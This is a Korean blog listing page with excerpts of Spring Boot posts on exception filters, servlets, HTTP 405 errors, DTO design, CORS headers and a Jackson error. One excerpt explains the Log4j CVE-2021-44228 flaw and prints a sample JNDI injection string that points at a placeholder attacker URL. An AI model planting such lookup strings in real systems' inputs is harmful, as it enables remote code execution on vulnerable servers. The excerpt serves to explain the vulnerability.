Back End/Spring Boot
-
[Spring] Filter 단에서 발생하는 예외처리하기Back End/Spring Boot 2023. 5. 8. 17:34
AccessDeniedHandler, AuthenticationEntryPoint 등 뭔가 제한적인 예외처리가 아닌 전역적인 예외처리를 하고 싶었다. 프레임워크에서 제공해주는 예외처리법이 있지 않을까 싶어 최대한 예외처리 필터를 끼워넣는 일은 지양하고 싶었지만 시간에 쫒겨 타협을 해버렸다. 근데 막상 작성해보니까 괜찮은 것 같다. 존재하는지는 모르겠지만 러닝커브가 있는 프레임워크가 제공해주는 예외처리법을 학습하지 않아도 필터 동작에 대한 개념만 있다면 누구든 아래의 코드를 이해할 수 있을테니까 말이다. 더불어 하나의 필터에서 스프링 컨텍스트 외부의 예외를 처리할테니 유지보수 비용도 크지 않아보인다. 예외처리 필터 CommonException 을 상속 받은 모든 Exception 은 모두 예쁘게 예외처리 ..
-
[Spring/Network] 서블릿과 WAS에 대하여Back End/Spring Boot 2022. 2. 25. 13:32
어떤분께서 "서블릿이 뭔지아세요?" 라고 물어보신적이 있다. 나는 "request랑 response에 접근하게 해주는 객체아니에요?" 라고 답을 했다.. (Spring에서 HttpServlet 객체로 request랑 response랑 접근해서 로직을 짠적이 있으니까...) 그런데 면접 때 이런 질문이 나온다면 이런 대답만으로는 부족할 것 같아 더 알아보기로 했다. (어떤 회사에서는 서블릿을 구현하는 입사과제가 있었다고 한다 ㄷㄷㄷ..) 아마 이 포스팅을 읽다보면 WAS(톰캣)가 계속 등장하게 될텐데, 선수지식은 아래 포스팅을 읽으시면 된다. [Network] Apachi, Nginx, Tomcat 이 하는일이 뭘까? (Feat. Proxy) # 대충 개념 잡기 Apachi, NginX 은 프록시서버(웹서..
-
[Spring] HTTP 405 Error 원인 및 해결 방법Back End/Spring Boot 2022. 2. 15. 14:23
프론트엔드와 협업중 특정 API가 405 오류를 뱉는다고 연락이 왔다. ? 나는 잘되는데 ? 뭐....지? 하고 405로 검색을 해봤는데 HTTP 메서드 매칭이 되지 않아 생기는 오류라고 한다 # 원인 1. API 의 Request URL 을 잘못 입력하여 매칭 안된 경우 2. API 의 Request URL 은 올바르나 HTTP 메서드 (GET/POST/PUT/...) 가 잘못 매칭된 경우 나의 경우는 Request URL을 프론트분께 잘못 전달하여 발생한 에러였다...
-
[Spring] Controller 와 Service 레이어의 DTO,Entity 분리에 관하여Back End/Spring Boot 2021. 12. 25. 11:08
* 이 글은 카프카뮈님의 블로그를 보고 요약한 글입니다. 필자는 Request -> Controller -> Service 로 데이터를 계속 실어보낼 때 한개의 DTO 로 계속 실어보내면서 Service 에서 Entity로 변환하여 작업하였다. (Request, Response, Service 호출시 매개변수 모두 동일한 DTO 객체였음) 딱히 이유가 있어서라기 보다는 Service에서만 엔티티를 조작하게끔 하여 예기치 못한 상황을 피하고 싶었고, 클라이언트는 나의 엔티티의 정확한 실체를 모르게 하고싶었다. 그러다 카프카뮈님의 블로그 글을 보고 새로운 사실을 알게되어 여기에 정리하고자 한다. [요약] 1. 의존관계는 최대한 약하게 해야한다! (의존관계 역전원칙) 의존관계가 강할 수록 유지보수비용이 기하급..
-
[Spring] 심각한 Log4j 보안문제 (feat. Slf4j)Back End/Spring Boot 2021. 12. 24. 16:05
제로데이 어택으로 분류되는 log4j CVE-2021-44228 이 2021년 11월 24일에 알리바바 클라우드 보안팀 소속 Chen Zhaojun 의해 보고 되었다. (약 8년동안 방치되었다고 한다) 아파치의 Log4j 로 인해 Remote Code Injection (과거 SQL Injection 과 같이) 이 가능하다는 사실이 알려졌다. 애플, 테슬라, 아마존등에서 이미 이러한 취약점이 발견되었고, 보고 후 많은 테스트들이 시연되었다.. [얼마나 간단하기에?] Log4j 의 JNDI와 LDAP 때문에 생긴 틈인데, 로그가 기록되는 곳(로그인과 사용자입력)을 찾아 ${jndi:sndi:snd://Hacker-URL} 와 같은 값을 추가하면 Hacker-URL 에 호스팅 되어있는 코드가 공격받는 서버에..
-
[Spring] React 로 헤더 내려주기 (브라우저가 접근할 수 있는 헤더 제어하기)Back End/Spring Boot 2021. 12. 3. 20:39
React 에서 서버에서 내려주는 헤더에 접근하여 무언가 해보고싶었던 분들이 있을 것이다. (나만그런가?) 무튼 React 에서 헤더에 접근하고 싶지만, 헤더의 종류가 몇개 없어 시무룩했던 시간들을 해결한 경험을 공유하고자 한다. # 문제 현상 React 에서 Response 를 콘솔에 찍으면 보이는게 몇개 없다. # 개발자도구 -> NetWork 에서 뽑아온 Response Header # React 에서 console.log 를 통해 찍은 Response 객체 # 해결 방법 서버에서 헤더를 내려줄 때 Access-Control-Expose-Headers 에 브라우저가 접근해도 되는 헤더를 추가해주면 된다. # 예시 코드 package com.bookmarkmanager.bookmarkmanager.c..
-
[Spring] No Creators, like default construct, exist): cannot deserialize from Object value (no delegate- or property-based CreatorBack End/Spring Boot 2021. 12. 2. 15:40
# 에러원인 'jackson' library 가 empty constructor 가 없고, 파라미터가 있는 constructor 가 있을 때 어떻게 Json 모델을 생성해야되는지 몰라서 발생하는 문제 # 해결방법 (이 중에 아무거나 한개의 방법을 사용) Json 으로 취급할 필드가 무엇인지 알려준다 (@JsonProperty 사용) 또는 NoArgsConstructor 를 만들어준다 * 두가지 방법 모두 성능차이는 그다지 없다.